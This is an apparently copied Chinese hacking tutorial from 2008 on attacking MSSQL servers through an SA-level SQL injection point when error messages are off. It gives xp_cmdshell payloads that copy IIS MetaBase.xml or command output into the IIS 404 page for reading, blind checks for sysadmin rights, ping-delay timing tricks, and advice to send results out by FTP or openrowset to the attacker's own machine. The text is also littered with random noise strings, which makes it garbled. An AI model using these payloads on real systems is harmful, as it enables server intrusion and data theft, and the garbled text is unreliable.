遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。3 Y1 p+ R i7 F8 D
, v! ^0 P l! d5 d! ?$ U# A
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
0 q+ n6 Y# p3 D. J' Y, H% ~, g6 N
& s* ~# G) ?( h: ]& o# u 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。, V) d+ {2 _7 b7 [1 i
; R( d# {1 w) p/ W2 M/ }" N
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
d+ i& r3 k* k1 b% J. D! b; C+ ]6 [# t' Z5 c) E
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--. b' K. o5 @& |2 x* q9 l9 t1 L% C. w7 U
0 k' i6 _5 g) d( s5 H+ I$ i ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
2 M8 Z( _8 S8 \& ]$ l2 U h, d3 q
执行命令得到回显) W7 @% B5 [* S* x# c& a# B2 O" E5 T4 u
8 Q' K3 u) H. ^! g7 j
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
/ o; d$ X5 s: j7 R6 f$ _5 `; N9 ^) q0 w+ C' P/ M
得到文件也shi相同,把文件copy到404b.htm就行了
: M$ w) K4 i% z5 j
7 `: q0 u8 x3 \9 o0 M8 L by 28ice, 2008/6/26
' h ]' ]* ^4 G8 E& F# a0 `0 N! w% r, D0 O9 R/ ^" ~& x, V2 j
摘自 28度的冰
8 _ r% q/ i0 L2 f% f! Q( W; Z3 W7 E6 Q: T# _: r: T- ^- q/ p
盲注判断权限和操作系统版本) y: R7 k5 @+ p8 O( O
* n" c+ r, L1 J4 x+ o 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?% j6 b- O+ X7 f: L$ G
0 [, Z- w( W! k/ `- ~
最简单的,可能以用这样的方法:8 F, q2 M' l# F8 j
* O% T3 a2 g# C) w- J 1=(select IS_SRVROLEMEMBER(’sysadmin’))9 B$ Y% ]" a- a8 q
6 R0 q; ]0 e2 u( x0 J' h1 ^ 当然,有些情况下,这个方法并不奏效。
6 w# \; l4 B6 {! Q* [7 n/ U& _3 I/ ^# N) j/ s
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
2 {* p, ]2 b |
1 F0 J$ d6 {& K+ W# C7 k5 b* v0 o 有个3办法可能以解决这个问题# u, `$ R9 m, ~3 r9 N# e
1 B5 F, p, ^# W" O% W+ {
a.把执行结果写到404b.htm,具体请看我的上一篇文章
+ W' y8 `" u% H9 t% |! h1 j% q( i" }, P3 P; j- X
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟7 _% R% ~ g2 x u3 X% V1 T" z
* Q d5 \3 C0 R s c.如果1433端口可能以连接,那干脆新建个sql登录
/ I, C( J. q. G/ L* u8 @ s
0 l; _% o% P& U) O3 r d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
0 N* j% U3 M& I% n3 I* @4 W8 M
\; ]) F& s* I- x+ g1 @ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下% i; m" Z# C, T' s/ ]9 h. ]( w
0 w! d9 V4 w6 R
很简单 z+ @( F" f+ ]: g
$ `" k$ s9 e( \: A# \- Q 执行systeminfo0 p8 C( p6 h$ V' T
3 ~* A0 p- `$ H7 s 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |